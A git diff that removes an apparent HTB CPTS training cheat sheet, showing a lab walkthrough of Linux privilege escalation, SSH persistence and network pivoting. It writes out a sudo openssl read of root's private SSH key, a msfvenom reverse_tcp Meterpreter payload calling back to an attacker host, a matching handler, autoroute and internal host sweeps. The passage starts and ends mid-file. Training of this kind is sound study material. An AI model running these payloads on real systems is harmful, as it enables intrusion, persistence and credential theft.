Privilege Escalation](https://book.hacktricks.xyz/linux-hardening/privilege-escalation) -7. [Sudo advisory — CVE-2025-32463 (chroot)](https://www.sudo.ws/security/advisories/chroot_bug/) -8. [chisel](https://github.com/jpillora/chisel) · [ligolo-ng](https://github.com/nicocha30/ligolo-ng) -9. [WADComs — Windows/AD commands](https://wadcoms.github.io/) · [LOLBAS — Windows living-off-the-land binaries](https://lolbas-project.github.io/) - ---- - -> [!navigation] Continue the CPTS workflow -> **Previous:** [Attacking Common Applications](/sheets/pentest-workflow/attacking-common-applications) -> -> **Dashboard:** [HTB Pentest Workflow](/sheets/pentest-workflow/attacking-common-modules-dashboard) -> -> **Next:** [Windows Privilege Escalation](/sheets/pentest-workflow/windows-privesc-cpts) - -#HTB #CPTS #LinuxPrivEsc #PrivEsc #PostExploitation diff --git a/src/content/sheets/pentest-workflow/post-exploitation-persistence-internal-enumeration.md b/src/content/sheets/pentest-workflow/post-exploitation-persistence-internal-enumeration.md @@ -1,1128 +0,0 @@ ---- -title: "Post-Exploitation Persistence & Internal Enumeration" -description: "Updated CPTS field reference for post-exploitation persistence & internal enumeration." -category: pentest-workflow -subcategory: "General CPTS Cheatsheets" -order: 31 -tags: ["htb", "academy", "htb-academy-attacking-enterprise-networks", "htb-tier-tier-iii", "htb-category-offensive", "cpts", "inlanefreight", "activedirectory", "pentest-workflow"] -tools: ["ssh", "openssl", "proxychains", "msfvenom", "Metasploit (multi/handler, autoroute, ping_sweep)", "nmap", "enum4linux", "curl", "showmount / mount", "tcpdump", "DotNetNuke (DNN)", "PrintSpoofer", "netcat", "setspn", "secretsdump.py", "CrackMapExec"] -difficulty: intermediate -updated: "2026-08-05" -source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/6 - Post-Exploitation Persistence & Internal Enumeration.md" ---- -+> [!info]+ Obsidian NoteBanner Code — Do Not Run Manually -> `ris:FileList` -> 1. Obsidian's Dataview plugin executes this block automatically when the note opens. -> 2. `dv.view("00Meta/Views/NoteBanner")` loads the shared visual banner from the vault; it is unrelated to the pentest workflow. -> 3. Do not paste it into Bash, PowerShell, Burp, a browser console, or a target shell. -> 4. If the banner is missing, check the Dataview plugin and shared view file rather than changing attack commands. - - -> [!dashboard] Module context -> **Module:** Attacking-Enterprise-Networks · **Section:** 6 · **Status:** in-progress -> **Tier III** · **Offensive** - ---- - -## Summary `ris:Eye` - -Picking up from the RCE foothold established in 5 - Web Application Enumeration, this section locks in persistence on `dmz01` via SSH, escalates to root through a `sudo`-abusable `openssl` binary, and grabs the root SSH key so we never have to re-exploit the web application to get back in. With a stable root shell, `dmz01` becomes the pivot point into the internal `172.16.8.0/23` range using SSH dynamic port forwarding and, alternatively, Metasploit's `autoroute`. Host discovery turns up a Domain Controller, a Windows host running NFS and an exposed DotNetNuke (DNN) CMS, and a Tomcat box that turns out to be a dead end. Pillaging an anonymously-mounted NFS export on the DNN host recovers a `web.config` file with cleartext DNN administrator credentials, which are then used to gain code execution as the `mssql$sqlexpress` service account, escalate to `NT AUTHORITY\SYSTEM` via `SeImpersonate`/PrintSpoofer, and dump the local SAM and LSA secrets, yielding our first set of domain credentials (`hporter:Gr8hambino!`). Read-only enumeration through the webshell (abusing the machine account's domain membership) then maps the password policy, group structure, and a dozen Kerberoastable service accounts — setting up the Kerberoast-driven lateral movement in 7 - Lateral Movement. - ---- - -## Conceptual Information `ris:FileList` - -> [!info]+ Mental Model — Pivoting Changes the Network Path, Not the Target -> `ris:Global` -> 1. The attacker cannot directly route to the internal subnet, but the compromised dual-homed host can. A pivot makes selected attacker traffic enter through that host and continue toward the internal destination. -> 2. An SSH **dynamic forward** creates a SOCKS proxy. Applications that understand SOCKS—or are wrapped by `proxychains`—open TCP connections through the SSH server. It does not transparently route every packet type. -> 3. A **local/remote port forward** maps one listening port to one destination. A **SOCKS proxy** supports many TCP destinations. A framework **autoroute** teaches Metasploit modules which session reaches a subnet. -> 4. Proxychains cannot carry Nmap's raw SYN or ICMP packets, which is why the scan changes to TCP connect mode (`-sT`) and skips host discovery (`-Pn`). This is a transport limitation, not arbitrary syntax. -> 5. Scanning locally from `dmz01` with a static Nmap binary avoids SOCKS limitations but places a tool and output files on the target. The choice is a trade-off between capability and operational footprint. - -| Path | Traffic flow | Best use | Important limitation | -|---|---|---|---| -| SSH `-D` SOCKS | Tool → local SOCKS → `dmz01` → internal service | Browsers, SMB/HTTP clients, TCP connect scans | Proxy-aware TCP only | -| SSH `-L` local forward | Local port → `dmz01` → one internal host:port | Exposing a single web/DB service locally | One mapping per destination | -| SSH `-R` remote forward | Pivot-side port → SSH tunnel → attacker service | Making an attacker listener reachable through a pivot | Listener binding and `GatewayPorts` rules | -| Metasploit autoroute | Metasploit module → existing session → subnet | Framework modules and scans | Generally limited to the framework | -| Tool on pivot | Command executes directly on `dmz01` | Raw scanning, packet capture, local routes | Leaves binaries/output on the host | - -> [!failure]+ Pivot Troubleshooting Ladder -> `fas:CircleXmark` -> 1. On the pivot, confirm the internal interface and route with `ip addr` and `ip route`; do not assume the CIDR from memory. -> 2. From the pivot itself, test one known internal host/port. If this fails, the tunnel cannot fix the underlying reachability problem. -> 3. On the attacker, confirm the SOCKS/forward listener with `ss -lntp` and match its version/port to `proxychains.conf`. -> 4. Test with a simple TCP client such as `proxychains nc -nv <internal-ip> <port>` before using a complex scanner. -> 5. If Nmap shows every host down, use `-sT -Pn`; if DNS names fail, use IPs first or configure proxy-aware DNS deliberately. - -> [!important]+ Where This Sits in the PTES Flow -> `fas:TriangleExclamation` -> 1. Foothold obtained externally → this section is **Post-Exploitation** (persistence) followed by a fresh **Information Gathering / Vulnerability Analysis / Exploitation** cycle, this time against the internal network reached through the pivot -> 2. Persistence work always comes first. A shell obtained through a web application exploit chain is fragile — the app can crash, the session can drop, an admin can patch the vulnerability. Lock in access before doing anything else -> 3. Pivoting is not optional here: the RoE in Section 2 specifically extends scope to `172.16.8.0/23` and `172.16.9.0/23` *if* external access is gained, and it has been - -> [!tip]+ Why Two Persistence Mechanisms -> `fas:Lightbulb` -> 1. The `srvadm` credential pair is convenient but fragile — a password reset or account lockout breaks it without warning -> 2. The root SSH private key is far more durable: keys are rarely rotated on internal Linux boxes, and root access means it survives most low-level remediation -> 3. Always prefer **key-based** persistence over password-based where the option exists, and always grab **both** when possible so there's a fallback - -> [!warning]+ Pivoting Adds Operational Risk -> `ris:Radar` -> 1. Every additional hop (SSH pivot, Metasploit route, SOCKS proxy) adds latency and a new thing that can silently break mid-assessment -> 2. `GatewayPorts`, `sshd_config` edits, and any other host configuration changes made to enable pivoting **must** be logged for the report appendix and reverted at engagement close -> 3. A static Nmap binary uploaded to a pivot host is a forensic artefact — track every file placed on client systems for the same reason - ---- - -## Commands and Implementation `fas:Terminal` - -> [!important]+ Before You Enumerate Through the Foothold -> `fas:TriangleExclamation` -> 1. **Prompt awareness:** Commands may run on the attacker, `dmz01`, or a Windows host reached through the pivot. Confirm with `hostname` before copying a command from one step to another. -> 2. **Route before scan:** A service on `172.16.8.0/23` is unreachable from the attacker until the SOCKS/Metasploit route exists. Test the route with one known host and port before launching broad enumeration. -> 3. **Know the scanner limitation:** `proxychains` carries TCP connections, so use Nmap `-sT -Pn`; raw SYN (`-sS`) and ICMP discovery do not traverse a SOCKS proxy in the expected way. -> 4. **Persistence changes the target:** Adding SSH keys is appropriate in this lab and only when authorised. Record the account, key, file modified, and removal step for the final cleanup log. -> 5. **Credential hygiene:** Store every recovered username, password, and hash with its source and validation status. Do not spray newly found credentials indiscriminately. - -| Step | Machine/context | What success looks like | How it advances the chain | -|---|---|---|---| -| 1. SSH foothold | Attacker → `dmz01` | Reliable SSH session as the recovered user | Replaces the fragile web shell | -| 2. Local privesc | On `dmz01` | `sudo`/GTFOBins path yields `uid=0` | Enables route discovery, packet capture, and authorised persistence | -| 3. Root persistence | On `dmz01` | Root SSH key authentication works | Provides a recoverable pivot point | -| 4. SSH SOCKS | Attacker plus `dmz01` | Local SOCKS port accepts proxied connections | Makes internal TCP services reachable by proxy-aware tools | -| 5. Autoroute | Metasploit session | Route table contains the internal subnet | Alternative framework-managed pivot path | -| 6. Host discovery | `dmz01` or routed attacker | Live IP list for `172.16.8.0/23` | Narrows expensive scans to responding hosts | -| 7. Static Nmap | On `dmz01` | Port/service inventory for each live host | Builds the internal attack-surface map | -| 8. SMB quick hits | Through pivot | Domain name, shares, users, or null-session data | Establishes AD context and candidate identities | -| 9. DNN/NFS | Through pivot | DNN asset and exposed share contents identified | Provides credentials or application access | -| 10. SQL console RCE | In DNN/MSSQL context | Harmless OS command output appears | Creates code execution on the Windows application host | -| 11. SeImpersonate | Windows host | New process runs as `NT AUTHORITY\\SYSTEM` | Grants local SYSTEM for secret collection | -| 12. Local secrets | Windows host then attacker | SAM/LSA material parses into accounts/hashes | Supplies the first domain credential candidates | - -### Step 1 — SSH In and Confirm the Foothold `ris:LockPassword` - -> [!info]+ Operator Context — Replace the Fragile Web Shell -> `ris:LockPassword` -> 1. **Starting state:** audit evidence yielded an `srvadm` credential candidate and SSH/22 is externally reachable. -> 2. **Execution:** authenticate from the attacker using the explicit username/host; verify the host key deliberately rather than suppressing it without review. -> 3. **Mechanism:** SSH creates an encrypted authenticated session independent of the web application's vulnerable request lifecycle. -> 4. **Read the result:** successful authentication proves the credential is valid for SSH; `id`/`hostname` confirm it lands on the expected account/host rather than a reused credential elsewhere. -> 5. **Handoff:** preserve both paths until privilege escalation is confirmed, then use SSH as the stable base for local and internal enumeration. - -```bash -ssh srvadm@10.129.203.111 -# password: ILFreightnixadm! -``` - -> [!info]+ Command Breakdown -> `ris:LockPassword` -> 1. **srvadm:ILFreightnixadm!**: the credential pair recovered from the web application exploitation chain in 5 - Web Application Enumeration -> 2. SSH is preferred over the unstable reverse shell whenever it is reachable — it survives disconnects and gives a proper TTY -> 3. *Interpretation: `dmz01` (10.129.203.111 externally, 172.16.8.120 on a second internal NIC) is a dual-homed jump box — exactly the kind of host that bridges an external DMZ to an internal segment* - -### Step 2 — Local Enumeration and GTFOBins Privilege Escalation `fas:TriangleExclamation` - -> [!info]+ Operator Context — From `sudo -l` to Root -> `fas:RocketLaunch` -> 1. **Starting state:** an authenticated local user may have explicitly delegated sudo commands even without knowing the root password. -> 2. **Execution:** `sudo -l` asks sudoers which commands this identity may run, as which user, on which host, and whether a password is required. -> 3. **Mechanism:** GTFOBins documents legitimate program features that can escape their intended purpose when the entire program runs as root—for example, shell escapes, file writes, or command hooks. -> 4. **Read the result:** the exact path and allowed arguments matter. A similarly named binary or restricted argument pattern may invalidate a published technique. -> 5. **Verification:** after the escape, `id` must show `uid=0`; do not infer root merely from a changed prompt. -> 6. **Handoff:** record the sudoers rule as the root cause and the minimum escape sequence as proof before making any persistence changes. - -```bash -srvadm@dmz01:~$ sudo -l - -Matching Defaults entries for srvadm on dmz01: - env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin - -User srvadm may run the following commands on dmz01: - (ALL) NOPASSWD: /usr/bin/openssl -``` - -> [!info]+ Command Breakdown -> `ris:Command` -> 1. **id** and **sudo -l** are the first two commands to run on any new foothold — group membership and sudo rights account for the overwhelming majority of real-world Linux privilege escalation paths -> 2. **NOPASSWD: /usr/bin/openssl**: `srvadm` can run the OpenSSL binary as root with no password prompt -> 3. *Interpretation: check [GTFOBins](https://gtfobins.github.io/gtfobins/openssl/) for any binary that appears in a `sudo -l` listing before reaching for a custom exploit — OpenSSL has a documented file-read primitive that is perfect here* - -```bash -srvadm@dmz01:~$ LFILE=/root/.ssh/id_rsa -srvadm@dmz01:~$ sudo /usr/bin/openssl enc -in $LFILE - ------BEGIN OPENSSH PRIVATE KEY----- -b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn -... ------END OPENSSH PRIVATE KEY----- -``` - -> [!success]+ Finding — SSH Root Private Key Recovered via GTFOBins `ris:Key` -> `ris:Key` -> 1. The GTFOBins entry for `openssl` documents a **privileged file read**: `openssl enc -in "$LFILE"` decrypts nothing (no cipher specified) and simply echoes the file back out, but since it runs as root it bypasses file permissions -> 2. Reading `/root/.ssh/id_rsa` directly is a better target than `/etc/shadow` here — a private key gives durable, high-trust SSH access instead of a hash that still needs cracking -> 3. Copy the key output into a local file, save it in your notes immediately — a lost Pwnbox session means redoing every step to get back to this point - -> [!example]+ PayloadsAllTheThings — Linux Sudo and GTFOBins Reference -> `ris:Command` -> [PayloadsAllTheThings — Linux Privilege Escalation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md) links its maintained `SUDO`, `NOPASSWD`, `GTFOBins`, and SSH-key sections. The OpenSSL file-read primitive is one instance of a general `sudo -l` workflow. -> ```bash -> id -> sudo -l -> find / -perm -4000 -type f 2>/dev/null -> getcap -r / 2>/dev/null -> LFILE=/root/.ssh/id_rsa -> sudo openssl enc -in "$LFILE" -> ``` -> 1. **`sudo -l`:** inventories explicitly delegated commands before noisier enumeration or kernel exploitation -> 2. **SUID and capabilities:** catch privilege paths that do not appear in `sudoers` -> 3. **OpenSSL:** a privileged file-read primitive; target reusable credential material such as SSH keys when engagement rules allow it -> 4. *Cross-reference every unusual binary with GTFOBins, then record the exact permitted command and resulting security boundary crossed.* - -### Step 3 — Establish Persistence as Root `ris:Key` - -> [!info]+ Operator Context — SSH Key Persistence -> `ris:Key` -> 1. **Starting state:** root access exists interactively, but it depends on an escalation path and the original user credential. -> 2. **Attacker side:** use a dedicated assessment keypair; protect the private key and identify it clearly so it is not confused with personal keys. -> 3. **Target side:** place only the public key in root's `authorized_keys`, ensure the `.ssh` directory/file ownership and restrictive permissions satisfy OpenSSH checks. -> 4. **Mechanism:** future SSH authentication proves possession of the private key; the private key never needs to be copied to the client host. -> 5. **Verification:** open a new session using the explicit key and confirm `uid=0` before trusting persistence. -> 6. **Cleanup:** log the exact public-key line and remove only that line later; verify subsequent key authentication fails without disturbing legitimate keys. - -```bash -chmod 600 dmz01_key -ssh -i dmz01_key root@10.129.203.111 - -root@dmz01:~# -``` - -> [!info]+ Command Breakdown -> `fas:Terminal` -> 1. **chmod 600**: SSH refuses to use a private key with overly permissive file modes -> 2. Confirms full root access to `dmz01` via a durable key-based credential, independent of the `srvadm` password -> 3. *Interpretation: we now have two independent routes back into the internal network — a password pair and a root private key — which is the definition of solid persistence* - -> [!example]+ PayloadsAllTheThings — Linux SSH Persistence Reference -> `ris:Command` -> [PayloadsAllTheThings — Linux Persistence](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md) catalogues SSH, account, SUID, cron, shell-profile, and service persistence. This lab reuses an existing root key rather than changing the host, which is lower-impact and easier to clean up. -> ```bash -> chmod 600 dmz01_key -> ssh -o IdentitiesOnly=yes -i dmz01_key root@10.129.203.111 -> ssh-keygen -lf dmz01_key -> ``` -> 1. **`chmod 600`:** satisfies OpenSSH's private-key permission check -> 2. **`IdentitiesOnly=yes`:** prevents the SSH agent from offering unrelated keys and obscuring which credential succeeded -> 3. **`ssh-keygen -lf`:** records the key fingerprint without exposing the private key in screenshots or reports -> 4. *Avoid creating new persistence when an existing authorised credential is enough; any host modification must be logged and removed during closeout.* - ---- - -### Step 4 — Set Up Pivoting: SSH Dynamic Port Forwarding `ris:Global` - -> [!info]+ Operator Context — SOCKS Through `dmz01` -> `ris:Global` -> 1. **Starting state:** `dmz01` has an interface/route into `172.16.8.0/23`, while the attacker has no direct route. -> 2. **Execution:** the attacker opens SSH to `dmz01` with a dynamic forward bound to a chosen local port; this creates the SOCKS listener on the attacker. -> 3. **Mechanism:** a proxy-aware tool asks SOCKS to connect to an internal IP/port. SSH carries the request to `dmz01`, which originates the final TCP connection using its internal reachability. -> 4. **Verification:** confirm the local listener, match its SOCKS version/port in `proxychains.conf`, and test one known internal TCP port before a scan. -> 5. **Limit:** DNS, UDP, ICMP, raw SYN scans, and applications ignoring the proxy may leak or fail; `proxychains` does not magically create a kernel route. -> 6. **Handoff:** annotate commands as proxied and keep the SSH session alive; when it drops, every dependent tool path also drops. - -```bash -ssh -D 8081 -i dmz01_key root@10.129.203.111 -``` - -> [!info]+ Command Breakdown -> `ris:Global` -> 1. **-D 8081**: opens a local SOCKS proxy on port 8081 that tunnels all forwarded traffic through the SSH session on `dmz01` -> 2. Any tool that supports a SOCKS proxy (or is wrapped with `proxychains`) can now reach hosts on `dmz01`'s second NIC (`172.16.8.120`, subnet `172.16.8.0/23`) directly from the attack host -> 3. See the *Dynamic Port Forwarding with SSH and SOCKS Tunneling* section of the [Pivoting, Tunneling, and Port Forwarding](https://academy.hackthebox.com/module/158) module for the full theory - -```bash -netstat -antp | grep 8081 -tcp 0 0 127.0.0.1:8081 0.0.0.0:* LISTEN 122808/ssh - -grep socks4 /etc/proxychains.conf -socks4 127.0.0.1 8081 -``` - -> [!info]+ Command Breakdown -> `fas:Terminal` -> 1. **netstat**: confirms the local SOCKS listener is up before trusting any tool that depends on it -> 2. **/etc/proxychains.conf**: the port number here must match the `-D` port exactly, or every proxied command will simply time out -> 3. *This vault uses `socks4` in the sample; `socks5` also works and supports UDP/DNS resolution through the tunnel if needed* - -```bash -proxychains nmap -sT -p 21,22,80,8080 172.16.8.120 - -|S-chain|-<>-127.0.0.1:8081-<><>-172.16.8.120:80-<><>-OK -|S-chain|-<>-127.0.0.1:8081-<><>-172.16.8.120:22-<><>-OK -|S-chain|-<>-127.0.0.1:8081-<><>-172.16.8.120:21-<><>-OK -|S-chain|-<>-127.0.0.1:8081-<><>-172.16.8.120:8080-<><>-OK - -PORT STATE SERVICE -21/tcp open ftp -22/tcp open ssh -80/tcp open http -8080/tcp open http-proxy -``` - -> [!info]+ Command Breakdown -> `ris:Scan2` -> 1. **-sT**: proxychains can only relay TCP connect scans, not raw SYN scans, so `-sT` is mandatory through a SOCKS tunnel -> 2. The `S-chain` lines confirm each connection routed correctly through the chain before Nmap reports the result -> 3. *Interpretation: this scan validates the pivot itself before spending time scanning the wider internal range — always sanity-check the tunnel against a known host first* - -> [!image]+ Configuring the SOCKS Proxy in Firefox -> [firefox-socks-proxy-8081-config.png](/downloads/pentest-workflow/firefox-socks-proxy-8081-config.png) ([SHA-256](/downloads/pentest-workflow/firefox-socks-proxy-8081-config.png.sha256) · [GPG signature](/downloads/pentest-workflow/firefox-socks-proxy-8081-config.png.sha256.asc)) -> Manual proxy configuration pointed at `127.0.0.1:8081` (SOCKS v5), used later to browse internal web applications directly through the pivot from the attack host's browser. - -> [!tip]+ Prefer Modern C2/Proxy Tooling Over Raw ProxyChains `fas:Lightbulb` -> Raw `proxychains` + SSH `-D` is reliable but painfully slow for large scans. [Chisel](https://github.com/jpillora/chisel) or [Ligolo-ng](https://github.com/nicocha30/ligolo-ng) provide much faster HTTP/TLS-tunnelled SOCKS proxies with a TUN-interface option, avoiding the per-connection overhead of the SOCKS4/5 chain model entirely. - -> [!example]+ PayloadsAllTheThings — SSH SOCKS and Proxychains Reference -> `ris:Command` -> [PayloadsAllTheThings — Network Pivoting Techniques](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md) maps the SSH `-D` SOCKS proxy and Proxychains workflow used in this step, plus local (`-L`) and remote (`-R`) forwarding alternatives. -> ```bash -> ssh -N -f -D 127.0.0.1:8081 -i dmz01_key root@10.129.203.111 -> proxychains curl http://172.16.8.20/ -> proxychains nmap -sT -Pn -p21,22,80,445 172.16.8.20 -> ssh -N -L 13389:172.16.8.20:3389 -i dmz01_key root@10.129.203.111 -> ``` -> 1. **`-N -f`:** keeps only the tunnel and backgrounds the SSH client after authentication -> 2. **`-D`:** exposes a general-purpose local SOCKS listener for proxy-aware tools -> 3. **`-sT -Pn`:** required when Nmap traffic crosses a user-space TCP proxy that cannot carry raw SYN or ICMP packets -> 4. **`-L`:** maps one internal service to one local port when a full SOCKS proxy is unnecessary - ---- - ---- - -### Step 5 — Alternative Pivoting: Metasploit Autoroute `ris:Command` - -> [!info]+ Operator Context — Framework-Managed Routing -> `ris:Command` -> 1. **Starting state:** a live Meterpreter/session on a host that can reach the internal subnet is available. -> 2. **Execution:** autoroute associates the subnet with that session inside Metasploit's routing table; it does not edit the attacker's operating-system routes. -> 3. **Mechanism:** compatible Metasploit modules consult the framework route and send their connections through the session transport. -> 4. **Verification:** display routes, then use a small framework TCP probe against a known internal service. A listed route without a working session provides no connectivity. -> 5. **Trade-off:** convenient for framework modules, but ordinary shell tools still need SOCKS/port forwarding or execution on the pivot. -> 6. **Handoff:** choose one primary pivot method for clarity and document the alternative rather than layering both without a reason. - -```bash -msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.15 LPORT=443 -f elf > shell.elf -scp -i dmz01_key shell.elf root@10.129.203.111:/tmp -``` - -> [!info]+ Metasploit Pivot Part 1 — Build and Transfer the Payload on the Attacker -> `ris:Command` -> 1. Run both lines on the **attacking host**, not inside Metasploit or on `dmz01`. -> 2. `msfvenom` creates a 32-bit Linux ELF callback; confirm `dmz01` architecture first and change `linux/x86` if necessary. -> 3. Set `LHOST` to the attacker VPN IP and keep `LPORT` identical to the handler below. -> 4. The second line copies the resulting `shell.elf` to `/tmp` through the root SSH key. -> 5. Verify the local file with `file shell.elf` and record it for target cleanup. - -``` -[msf](Jobs:0 Agents:0) exploit(multi/handler) >> use exploit/multi/handler -[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set payload linux/x86/meterpreter/reverse_tcp -[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set lhost 10.10.14.15 -[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LPORT 443 -[msf](Jobs:0 Agents:0) exploit(multi/handler) >> exploit -[*] Started reverse TCP handler on 10.10.14.15:443 -``` - -> [!info]+ Metasploit Pivot Part 2 — Configure the Matching Handler -> `ris:Command` -> 1. Start `msfconsole` on the attacker and enter only the prompt commands shown; bracketed `[*]` text is output. -> 2. The handler payload must exactly match the payload embedded by msfvenom. -> 3. `lhost` and `LPORT` must also match the attacker address/port used during generation. -> 4. `exploit` starts the listener and waits; leave it running before executing `shell.elf` on `dmz01`. -> 5. A started handler proves only local readiness, not that the target callback can reach it. - -```bash -root@dmz01:/tmp# chmod +x shell.elf -root@dmz01:/tmp# ./shell.elf -``` - -> [!info]+ Metasploit Pivot Part 3 — Execute on `dmz01` -> `fas:Linux` -> 1. SSH to `dmz01`, change to `/tmp`, and run these commands there; omit the displayed prompt text when copying. -> 2. `chmod +x` adds execute permission to the transferred ELF. -> 3. `./shell.elf` initiates the reverse connection to the already waiting attacker handler. -> 4. If no session appears, verify architecture, LHOST/LPORT, file permissions, and egress connectivity in that order. -> 5. The program remains an assessment artefact and must be removed during cleanup. - -``` -[*] Meterpreter session 1 opened (10.10.14.15:443 -> 10.129.203.111:58462) -(Meterpreter 1)(/tmp) > getuid -Server username: root -``` - -> [!info]+ Metasploit Pivot Part 4 — Verify the Session Identity -> `ris:FileList` -> 1. This block is handler/Meterpreter output, not commands for Bash. -> 2. `session 1 opened` proves the reverse transport completed between target and attacker. -> 3. Run `getuid` at the Meterpreter prompt; `Server username: root` confirms the session inherited root. -> 4. Also check routing/interfaces from the session before attaching internal routes. -> 5. If the session immediately dies, return to the target and inspect process/architecture/security-control behaviour. - -> [!info]+ Command Breakdown -> `ris:ShareBox` -> 1. **msfvenom -p linux/x86/meterpreter/reverse_tcp**: an ELF Meterpreter payload matching the pivot host's architecture -> 2. Uploaded via **scp** using the persistence key rather than the DNN file manager, since this is a Linux target and SCP is already available -> 3. *Interpretation: the second, independent Meterpreter session gives access to Metasploit's own routing and SOCKS tooling as an alternative to the raw SSH tunnel — useful when a module needs a Metasploit session specifically* - -```bash -(Meterpreter 1)(/tmp) > background -[msf] >> use post/multi/manage/autoroute -[msf] post(multi/manage/autoroute) >> set SESSION 1 -[msf] post(multi/manage/autoroute) >> set subnet 172.16.8.0 -[msf] post(multi/manage/autoroute) >> run - -[+] Route added to subnet 172.16.0.0/255.255.0.0 from host's routing table. -``` - -> [!info]+ Command Breakdown -> `ris:Global` -> 1. **post/multi/manage/autoroute**: adds a route through the Meterpreter session so any Metasploit module (scanner, exploit, auxiliary) can reach the subnet without a separate proxy -> 2. Compare against Step 4: SSH `-D` gives a general-purpose SOCKS proxy for *any* tool; `autoroute` gives routing that is scoped to *Metasploit modules only*. Use whichever fits the next task -> 3. See the *Introduction to MSFVenom* section of [Using the Metasploit Framework](https://academy.hackthebox.com/module/109) for a refresher on payload crafting - -> [!example]+ PayloadsAllTheThings — Metasploit Pivoting Reference -> `ris:Command` -> [PayloadsAllTheThings — Network Pivoting Techniques](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md) also covers Metasploit routing. `autoroute` makes the session a route for framework modules; adding `socks_proxy` exposes that route to external TCP tools through Proxychains. -> ```text -> use post/multi/manage/autoroute -> set SESSION 1 -> set SUBNET 172.16.8.0 -> set NETMASK 255.255.254.0 -> run -> route print -> use auxiliary/server/socks_proxy -> set VERSION 5 -> run -j -> ``` -> 1. **`route print`:** verifies the route before troubleshooting downstream scanners -> 2. **`255.255.254.0`:** represents the actual `/23`; avoid silently broadening it to `/16` -> 3. **`socks_proxy`:** bridges Metasploit routes into a SOCKS listener for non-framework clients -> 4. *Keep the SSH route as a fallback: a dropped Meterpreter session removes every route attached to it.* - ---- - -### Step 6 — Host Discovery on `172.16.8.0/23` `ris:Radar` - -> [!info]+ Operator Context — Discover From the Correct Network Position -> `ris:Radar` -> 1. **Starting state:** the pivot host has a directly connected or routed view of the authorised internal CIDR. -> 2. **Execution:** run discovery on `dmz01` when ICMP/ARP/raw scanning is useful; through SOCKS, use targeted TCP checks because those packet types do not traverse the proxy. -> 3. **Mechanism:** different discovery probes test different signals—ARP on the local segment, ICMP echo, or TCP responses on expected ports. -> 4. **Read the result:** “no response” means only that the selected probe received none; it does not prove the IP is unused. -> 5. **Verification:** combine methods and compare against routes/neighbour data. Save a live-host list with timestamp because DHCP and host state can change. -> 6. **Handoff:** feed only responsive/candidate addresses into detailed scans to reduce traffic and improve evidence organisation. - -```bash -# Metasploit method -[msf] post(multi/manage/autoroute) >> use post/multi/gather/ping_sweep -[msf] post(multi/gather/ping_sweep) >> set rhosts 172.16.8.0/23 -[msf] post(multi/gather/ping_sweep) >> set SESSION 1 -[msf] post(multi/gather/ping_sweep) >> run - -[+] 172.16.8.3 host found -[+] 172.16.8.20 host found -[+] 172.16.8.50 host found -[+] 172.16.8.120 host found -``` - -> [!info]+ Discovery Variant 1 — Run Inside Metasploit -> `ris:Radar` -> 1. Lines beginning `[msf]` are entered in `msfconsole`; the `[+] host found` lines are output. -> 2. Set `rhosts` to the authorised `/23` and `SESSION` to the pivot session carrying the route. -> 3. This module probes from/through that session; it is an alternative to the following shell loop. -> 4. A missing host may simply block the probe type, so do not treat absence as proof the address is unused. -> 5. Save the responding list as candidates for targeted port scans. - -```bash -# SSH tunnel method — a Bash one-liner from dmz01 itself -root@dmz01:~# for i in $(seq 254); do ping 172.16.8.$i -c1 -W1 & done | grep from - -64 bytes from 172.16.8.3: icmp_seq=1 ttl=128 time=0.472 ms -64 bytes from 172.16.8.20: icmp_seq=1 ttl=128 time=0.433 ms -64 bytes from 172.16.8.120: icmp_seq=1 ttl=64 time=0.031 ms -64 bytes from 172.16.8.50: icmp_seq=1 ttl=128 time=0.642 ms -``` - -> [!info]+ Command Breakdown -> `ris:Radar` -> 1. **for i in $(seq 254); do ping ... & done**: fires 254 backgrounded pings in parallel and filters for successful replies — dramatically faster than a serial sweep -> 2. Running host discovery **from the pivot host itself** avoids the latency penalty of tunnelling every ICMP packet through SOCKS, which is why it beats Nmap-through-proxychains for this specific task -> 3. *Interpretation: three new hosts beyond `dmz01` itself — `172.16.8.3`, `.20`, `.50` — become the internal enumeration target list* - -> [!example]+ PayloadsAllTheThings — Internal Host Discovery Reference -> `ris:Command` -> [PayloadsAllTheThings — Network Discovery](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Discovery.md) links its maintained Nmap, Netcat, ping, Masscan, and passive-discovery recipes. Run discovery on the pivot whenever possible to avoid SOCKS latency and protocol limits. -> ```bash -> nmap -sn 172.16.8.0/23 -oA internal_discovery -> for host in 172.16.{8..9}.{1..254}; do ping -c1 -W1 "$host" >/dev/null && echo "$host"; done -> for port in 22 80 135 139 445 3389 5985; do nc -zvw1 172.16.8.20 "$port"; done -> ip neigh -> ``` -> 1. **Nmap `-sn`:** combines several host-discovery probes and writes reusable output -> 2. **Ping/Netcat loops:** simple fallbacks when only base utilities exist on the pivot -> 3. **`ip neigh`:** passive local-neighbour evidence that can find hosts which ignore ICMP -> 4. *Treat every discovered address as a candidate until service enumeration identifies its role.* - -### Step 7 — Full Host Enumeration with a Static Nmap Binary `ris:Scan2` - -> [!info]+ Operator Context — Scanning Locally on the Pivot -> `ris:Scan2` -> 1. **Starting state:** live internal candidates exist, but SOCKS prevents some Nmap scan types and adds latency. -> 2. **Attacker side:** obtain a trusted static binary matching the pivot architecture and calculate its hash. -> 3. **Target side:** transfer it to a temporary path, verify size/hash/architecture, execute scans locally, and store output in a tracked directory. -> 4. **Mechanism:** scanning on `dmz01` gives Nmap native access to raw sockets and local routing, improving discovery and fingerprinting. -> 5. **Operational cost:** the binary and results are client-host artefacts. Rate limits and scan intensity still matter even in a lab-like internal scope. -> 6. **Handoff:** retrieve output to the attacker, map ports to service tasks, and remove the binary/output during cleanup. - -```bash -root@dmz01:/tmp# 